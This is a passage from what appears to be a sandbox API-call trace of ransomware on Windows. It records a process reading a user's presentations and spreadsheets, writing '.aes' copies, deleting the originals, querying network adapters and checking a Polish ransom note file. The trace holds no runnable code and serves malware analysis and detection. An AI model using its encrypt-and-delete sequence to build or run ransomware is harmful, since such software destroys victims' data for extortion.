lpOverlapped=0x0) returned 1 [0080.135] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.136] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.137] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x9cd, lpOverlapped=0x0) returned 1 [0080.137] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0080.137] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0xae1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce974*=0xae1, lpOverlapped=0x0) returned 1 [0080.137] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0080.137] CloseHandle (hObject=0x8dc) returned 1 [0080.138] CloseHandle (hObject=0x8e4) returned 1 [0080.138] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx", lpFilePart=0x0) returned 0x2e [0080.138] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\gxfwksunytgfj.pptx")) returned 1 [0080.139] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0080.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0080.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0080.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0080.139] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0080.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx", lpFilePart=0x0) returned 0x34 [0080.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0080.163] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\hhx-9rkimupsnon0ejb.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff8a450, ftCreationTime.dwHighDateTime=0x1d30060, ftLastAccessTime.dwLowDateTime=0xbcee0de0, ftLastAccessTime.dwHighDateTime=0x1d2ca5e, ftLastWriteTime.dwLowDateTime=0xbcee0de0, ftLastWriteTime.dwHighDateTime=0x1d2ca5e, nFileSizeHigh=0x0, nFileSizeLow=0xc123)) returned 1 [0080.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0080.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx", lpFilePart=0x0) returned 0x34 [0080.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0080.163] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\hhx-9rkimupsnon0ejb.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0080.163] GetFileType (hFile=0x8e4) returned 0x1 [0080.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0080.164] GetFileType (hFile=0x8e4) returned 0x1 [0080.164] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx.aes", lpFilePart=0x0) returned 0x38 [0080.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0080.164] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\hhx-9rkimupsnon0ejb.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0080.164] GetFileType (hFile=0x8dc) returned 0x1 [0080.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0080.164] GetFileType (hFile=0x8dc) returned 0x1 [0080.164] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0080.172] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0080.172] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0080.179] LocalFree (hMem=0x703ef10) returned 0x0 [0080.179] GetAdaptersAddresses () returned 0x6f [0080.183] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0080.183] GetAdaptersAddresses () returned 0x0 [0080.188] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.195] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.195] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.208] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.208] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.214] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.214] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.221] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.221] LocalFree (hMem=0x7074460) returned 0x0 [0080.221] GetBestInterfaceEx (in: pDestAddr=0x2733f88*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0080.284] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.286] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.286] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.286] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.286] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.286] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.286] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.287] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.288] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.288] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.289] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.290] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x123, lpOverlapped=0x0) returned 1 [0080.290] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ccc3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ccc3c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0080.290] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x241, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce974*=0x241, lpOverlapped=0x0) returned 1 [0080.290] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e317c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26e317c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0080.290] CloseHandle (hObject=0x8dc) returned 1 [0080.291] CloseHandle (hObject=0x8e4) returned 1 [0080.291] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx", lpFilePart=0x0) returned 0x34 [0080.291] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\HHx-9RKiMuPSNON0eJb.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\hhx-9rkimupsnon0ejb.pptx")) returned 1 [0080.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0080.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0080.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0080.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0080.292] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx", lpFilePart=0x0) returned 0x29 [0080.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0080.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\lcptyhqe.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363be9b0, ftCreationTime.dwHighDateTime=0x1d3328d, ftLastAccessTime.dwLowDateTime=0xc07044b0, ftLastAccessTime.dwHighDateTime=0x1d2b924, ftLastWriteTime.dwLowDateTime=0xc07044b0, ftLastWriteTime.dwHighDateTime=0x1d2b924, nFileSizeHigh=0x0, nFileSizeLow=0xc25c)) returned 1 [0080.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx", lpFilePart=0x0) returned 0x29 [0080.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0080.335] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\lcptyhqe.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0080.335] GetFileType (hFile=0x8e4) returned 0x1 [0080.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0080.335] GetFileType (hFile=0x8e4) returned 0x1 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx.aes", lpFilePart=0x0) returned 0x2d [0080.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0080.335] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\lcPTyHQE.xlsx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lcptyhqe.xlsx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0080.337] GetFileType (hFile=0x8dc) returned 0x1 [0080.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0080.337] GetFileType (hFile=0x8dc) returned 0x1 [0080.337] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0080.345] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0080.345] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0080.352] LocalFree (hMem=0x703ef10) returned 0x0 [0080.352] GetAdaptersAddresses () returned 0x6f [0080.357] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0080.357] GetAdaptersAddresses () returned 0x0 [0080.361] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.368] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.368] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.409] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.409] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.415] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.415] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.421] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.422] LocalFree (hMem=0x7074460) returned 0x0 [0080.422] GetBestInterfaceEx (in: pDestAddr=0x2718068*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0080.488] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.490] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.490] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.490] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.493] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.493] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.493] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.493] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26ce73c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.493] WriteFile (in: hFile=0x8dc, lpBuffer=0x28ba584*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28ba584*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0080.493] ReadFile (in: hFile=0x8e4, lpBuffer=0x26ce73c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, 